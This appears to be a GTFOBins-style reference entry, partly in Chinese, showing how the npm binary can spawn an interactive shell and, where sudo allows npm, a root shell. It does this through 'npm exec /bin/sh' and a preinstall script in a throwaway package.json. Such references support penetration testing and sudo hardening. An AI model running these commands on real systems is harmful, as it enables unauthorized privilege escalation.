.. / npm

shell

用来生成一个交互式的系统shell。

• npm exec /bin/sh

  Additionally, arbitrary script names can be used in place of preinstall and triggered by name with, e.g., npm -C $TF run preinstall.

  TF=$(mktemp -d)
  echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
  npm -C $TF i
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• Additionally, arbitrary script names can be used in place of preinstall and triggered by name with, e.g., npm -C $TF run preinstall.

  TF=$(mktemp -d)
  echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json
  sudo npm -C $TF --unsafe-perm i